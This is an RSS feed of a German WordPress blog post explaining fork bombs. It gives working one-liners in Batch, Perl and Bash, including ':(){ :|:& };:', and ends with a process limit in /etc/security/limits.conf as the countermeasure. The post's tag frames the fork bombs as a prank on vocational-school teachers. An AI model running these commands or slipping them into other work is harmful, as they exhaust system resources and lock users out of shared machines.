<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>how to fuck up berufsschullehrer Archive - Informatik Guru</title>
	<atom:link href="https://informatik-guru.de/tag/how-to-fuck-up-berufsschullehrer/feed/" rel="self" type="application/rss+xml" />
	<link>https://informatik-guru.de</link>
	<description>Dinge die Ihr Lehrer nicht kapiert</description>
	<lastBuildDate>Fri, 25 Jan 2019 18:26:48 +0000</lastBuildDate>
	<language>de-DE</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.8.4</generator>
	<item>
		<title>Forkbomb</title>
		<link>https://informatik-guru.de/coding/forkbomb/</link>
					<comments>https://informatik-guru.de/coding/forkbomb/#respond</comments>
		
		<dc:creator><![CDATA[infoguru]]></dc:creator>
		<pubDate>Fri, 25 Jan 2019 18:15:02 +0000</pubDate>
				<category><![CDATA[Basics]]></category>
		<category><![CDATA[Coding]]></category>
		<category><![CDATA[Unfug]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[erklärbär]]></category>
		<category><![CDATA[forkbomb]]></category>
		<category><![CDATA[how to fuck up berufsschullehrer]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">http://informatik-guru.de/?p=647</guid>

					<description><![CDATA[<p>Unter einer &#8222;Forkbomb&#8220; versteht man ein Programm, welches sich rekursiv selbst kopiert bzw. sich selbst erneut aufruft.In Unix bspw. funktioniert das unter anderem durch den Systemcall &#8222;fork&#8220; in Endlosschleife. Hierbei entstehen in sehr kurzer Zeit enorm viele Prozesse, da die Vermehrung exponentiell vonstattengeht.Jede Kopie ruft immer weitere Kopien hervor.[2, 4, 8, 16 usw.]Nach zehn Zyklen [&#8230;]</p>
<p>Der Beitrag <a rel="nofollow" href="https://informatik-guru.de/coding/forkbomb/">Forkbomb</a> erschien zuerst auf <a rel="nofollow" href="https://informatik-guru.de">Informatik Guru</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Unter einer &#8222;Forkbomb&#8220; versteht man ein Programm, welches sich rekursiv selbst kopiert bzw. sich selbst erneut aufruft.<br>In Unix bspw. funktioniert das unter anderem durch den Systemcall &#8222;fork&#8220; in Endlosschleife.<br><br>Hierbei entstehen in sehr kurzer Zeit enorm viele Prozesse, da die Vermehrung exponentiell vonstattengeht.<br>Jede Kopie ruft immer weitere Kopien hervor.[2, 4, 8, 16 usw.]<br>Nach zehn Zyklen existieren 1024 Prozesse, nach zwanzig Zyklen sind es bereits 1.048.576.<br>Demnach ist arbeiten nach kürzester Zeit nicht mehr möglich.<br><br>In einer Windows-Batch funktioniert dies bspw wie folgt:<br>@echo off<br> :start<br> start &#8222;Forkbomb&#8220; /high %0<br> goto start</p>



<p>Oder in der Kurzform:<br><br>%0|%0<br><br><h5>Plattformunabhängig in Perl:</h5><br>perl -e &#8222;fork while fork&#8220;<br><br><h5>In Bash:</h5></p>



<p><strong>function</strong> forkbomb() {    #Deklaration der Funktion &#8222;forkbomb&#8220;<br> forkbomb | forkbomb&amp;    #Rekursiver Aufruf der Funktion<br>}<br> f                                   #Aufruf der Funktion</p>



<p>Stark verkürzt:<br><br></p>



<p><h5>:(){ :|:&amp; };:</h5><br>Hierbei wird die Funktion &#8218;:&#8216; deklariert, die zwei Kopien von sich selbst aufruft &#8218;:|:&#8216; und diese im Hintergrund ausführt &#8218;&amp;&#8216;.<br>Diese wird nach dem Kommandoseparator &#8218;;&#8216; aufgerufen.</p>



<p><h5>Gegenmaßnahme in den meisten Linux-Distributionen:</h5></p>



<p>Man kann einer Obergrenze für die Anzahl ausgeführter Prozesse pro Benutzer festlegen in der:<br><br>/etc/security/limits.conf<br><br>Diese ist wie folgt aufgebaut:</p>
<div class="scrollable">
<p>
# /etc/security/limits.conf<br>
#<br>
#Each line describes a limit for a user in the form:<br>
#<br>
#<domain>        <type>  <item>  <value><br>
#<br>
#Where:<br>
#<domain> can be:<br>
#        &#8211; a user name<br>
#        &#8211; a group name, with @group syntax<br>
#        &#8211; the wildcard *, for default entry<br>
#        &#8211; the wildcard %, can be also used with %group syntax,<br>
#                 for maxlogin limit<br>
#        &#8211; NOTE: group and wildcard limits are not applied to root.<br>
#          To apply a limit to the root user, <domain> must be<br>
#          the literal username root.<br>
#<br>
#<type> can have the two values:<br>
#        &#8211; &#8222;soft&#8220; for enforcing the soft limits<br>
#        &#8211; &#8222;hard&#8220; for enforcing hard limits<br>
#<br>
#<item> can be one of the following:<br>
#        &#8211; core &#8211; limits the core file size (KB)<br>
#        &#8211; data &#8211; max data size (KB)<br>
#        &#8211; fsize &#8211; maximum filesize (KB)<br>
#        &#8211; memlock &#8211; max locked-in-memory address space (KB)<br>
#        &#8211; nofile &#8211; max number of open files<br>
#        &#8211; rss &#8211; max resident set size (KB)<br>
#        &#8211; stack &#8211; max stack size (KB)<br>
#        &#8211; cpu &#8211; max CPU time (MIN)<br>
#        &#8211; nproc &#8211; max number of processes<br>
#        &#8211; as &#8211; address space limit (KB)<br>
#        &#8211; maxlogins &#8211; max number of logins for this user<br>
#        &#8211; maxsyslogins &#8211; max number of logins on the system<br>
#        &#8211; priority &#8211; the priority to run user process with<br>
#        &#8211; locks &#8211; max number of file locks the user can hold<br>
#        &#8211; sigpending &#8211; max number of pending signals<br>
#        &#8211; msgqueue &#8211; max memory used by POSIX message queues (bytes)<br>
#        &#8211; nice &#8211; max nice priority allowed to raise to values: [-20, 19]<br>
#        &#8211; rtprio &#8211; max realtime priority<br>
#        &#8211; chroot &#8211; change root to directory (Debian-specific)<br>
#<br>
#<domain>      <type>  <item>         <value><br>
#<br>
<br>
#*               soft    core            0<br>
#root            hard    core            100000<br>
</p>
</div>
<p>Der Beitrag <a rel="nofollow" href="https://informatik-guru.de/coding/forkbomb/">Forkbomb</a> erschien zuerst auf <a rel="nofollow" href="https://informatik-guru.de">Informatik Guru</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://informatik-guru.de/coding/forkbomb/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
